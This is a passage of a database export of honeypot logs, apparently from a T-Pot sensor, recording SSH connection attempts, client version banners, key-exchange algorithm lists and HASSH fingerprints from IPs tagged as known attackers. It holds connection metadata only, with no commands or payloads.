"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26383	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:11:59.200135+03	2021-09-20 14:15:13.200647+03	{"_id": "DQbnAnwBvYTbRNuE0iHI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:39580 (192.168.176.2:22) [session: c3688b2326f7]", "session": "c3688b2326f7", "@version": "1", "protocol": "ssh", "src_port": 39580, "dest_port": 22, "timestamp": "2021-09-20T11:11:59.200135Z", "@timestamp": "2021-09-20T11:11:59.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26384	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:59.799456+03	2021-09-20 14:15:13.201645+03	{"_id": "HgbnAnwBvYTbRNuE1CHo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1813551761051454, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52718, "dest_port": 22, "timestamp": "2021-09-20T11:11:59.799456Z", "@timestamp": "2021-09-20T11:11:59.799Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26385	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:59.529416+03	2021-09-20 14:15:13.202646+03	{"_id": "HwbnAnwBvYTbRNuE1iEO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52718, "timestamp": "2021-09-20T11:11:59.529416", "@timestamp": "2021-09-20T11:11:59.529Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26386	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:59.801045+03	2021-09-20 14:15:13.203646+03	{"_id": "IQbnAnwBvYTbRNuE1iGw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6fa92b1d7bed", "@version": "1", "timestamp": "2021-09-20T11:11:59.801045Z", "@timestamp": "2021-09-20T11:11:59.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26387	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:57.850035+03	2021-09-20 14:15:13.205646+03	{"_id": "_gbnAnwBvYTbRNuEziA9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34780, "dest_port": 22, "timestamp": "2021-09-20T11:11:57.850035", "@timestamp": "2021-09-20T11:11:57.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26547	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:32.106159+03	2021-09-20 14:15:13.414646+03	{"_id": "-gboAnwBvYTbRNuEUyHJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "91e801dc7626", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:32.106159Z", "@timestamp": "2021-09-20T11:12:32.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26388	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:11:57.607059+03	2021-09-20 14:15:13.206645+03	{"_id": "AgbnAnwBvYTbRNuEziHg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 42.192.44.134:38944 (192.168.176.2:22) [session: 1d0997876463]", "session": "1d0997876463", "@version": "1", "protocol": "ssh", "src_port": 38944, "dest_port": 22, "timestamp": "2021-09-20T11:11:57.607059Z", "@timestamp": "2021-09-20T11:11:57.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26389	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:11:57.610035+03	2021-09-20 14:15:13.207646+03	{"_id": "BAbnAnwBvYTbRNuEziHg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1d0997876463", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:11:57.610035Z", "@timestamp": "2021-09-20T11:11:57.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26390	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:57.684326+03	2021-09-20 14:15:13.208646+03	{"_id": "BQbnAnwBvYTbRNuEziHg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "db27f4f0e0bd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:57.684326Z", "@timestamp": "2021-09-20T11:11:57.684Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26391	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:57.850702+03	2021-09-20 14:15:13.210645+03	{"_id": "BgbnAnwBvYTbRNuEziHg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "db27f4f0e0bd", "@version": "1", "timestamp": "2021-09-20T11:11:57.850702Z", "@timestamp": "2021-09-20T11:11:57.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26392	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:11:57.861201+03	2021-09-20 14:15:13.211646+03	{"_id": "BwbnAnwBvYTbRNuEziHg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1d0997876463", "@version": "1", "timestamp": "2021-09-20T11:11:57.861201Z", "@timestamp": "2021-09-20T11:11:57.861Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26393	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:59.2053+03	2021-09-20 14:15:13.212646+03	{"_id": "CQbnAnwBvYTbRNuE0iEm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": 